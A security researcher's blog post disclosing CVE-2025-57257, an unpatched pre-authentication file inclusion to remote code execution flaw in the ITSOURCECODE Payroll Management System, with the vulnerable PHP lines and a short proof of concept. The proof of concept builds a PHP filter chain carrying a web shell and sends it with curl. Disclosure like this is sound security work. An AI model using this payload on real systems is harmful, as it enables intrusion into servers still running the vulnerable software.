CVE-2025-57257 - An Accidentally Discovered 0-Day While Playing HackTheBox

Before All

CVSS 9.8/10
CVE-2025-57257: ITSOURCECODE Payroll Management System Pre-Auth LFI2RCE
Not a famous one, but it comes with some funny stories :)

https://itsourcecode.com/free-projects/php-project/payroll-system-php/

Hello there, I’m Whale120 (William Lin / LIN, CHIN-YU) (yep, all are me).
After I accidentally discovered a 0-day last year — which was also my first CVE record (CVE-2024-35515) — I stumbled upon another one again this summer…

This paragraph is mostly for MITRE to release the 0-day information. And honestly, this vulnerability probably won’t ever be patched since ITSOURCECODE has never really done so, which is why MITRE made me publish this.

Speaking honestly, I’m still a learner/CTFer and not a full-time researcher yet. I usually prefer short-term bug bounties, VDPs, or national attack-and-defense drills. You can find more info on my About page (including hacking NASA, Taipower, Taiwater, some tech/e-commerce companies, governments, and educational organizations). So for me, reporting CVEs happens purely by accident, since that’s not my main mission. But I do plan to change this within one or two years — spending long-term effort on a single project/product (if I’m still majoring in this field).

Story Time >_-

While preparing for my CPTS exam this summer, I tried some machines on the “Unofficial CPTS Prep” track edited by IPPSEC on YouTube.

One of the boxes on the list was “Trick,” which is actually an easy one.
image

After obtaining login passwords through directory scanning, I noticed there might be an LFI vulnerability in index.php. However, it was locked to files with a .php suffix, meaning only existing PHP files could be loaded.

But thinking back to the great PHP Filter Chain attack triggered by the include function in PHP, the only requirement is a valid filename. Even something like php://temp.php with a wrapper works, since it just returns an empty PHP stream.

So, a PHP Filter Chain attack seemed possible. Even more interesting, after validating a user’s identity, the program didn’t immediately die() but instead redirected, which led to an EAR (Execution After Redirect).

After I finished the exploit, escalated privileges, and submitted the flag, I glanced at the official write-up and was like… WTF, there’s a SQL Injection CVE just sitting on the login page???
Out of curiosity, I searched for existing CVEs on this project:

Emm…
SQL Injection
image

SQL Injection
image

AAAAAAAAAnother SQL Injection
image

And none of them were patched

How can these guys only think of SQL Injection? Since I didn’t find any report about this LFI case, I decided to write it up.

乁( ˙ω˙ )厂

I did try to contact the vendor, since some companies still use this project (or related ones), but they never replied.

So here’s a call to every developer and sysadmin: please, check your inbox for all emails. Even if a message looks like “Hey, I hacked into your company today,” trust me — only white-hat hackers will bother notifying you.

And also, please use more reputable open-source projects like WordPress (or its related ones), and remember to keep them updated (sigh…).

PoC and Source Analysis

From lines 13–15:

1
2
3
if(!isset($_SESSION['login_id']))
header('location:login.php');
include('./header.php');

The EAR part — missing a die() or other exit functions.

From lines 44–45:

1
2
<?php $page = isset($_GET['page']) ? $_GET['page'] :'home'; ?> 
<?php include $page.'.php' ?>

The LFI vulnerability. The prefix is controllable and triggered by include, making a filter chain-to-RCE exploit possible.

PoC:
Using the script:
https://github.com/synacktiv/php_filter_chain_generator/blob/main/php_filter_chain_generator.py

1
2
3
python3 php_filter_chain_generator.py --chain '<?php system($_GET[0]);?>'
# This will generate a filter chain payload
curl '<target_url>/index.php?0=<command>&page=<payload>'

After All

What will be my next public CVE report? 0w0bbbb.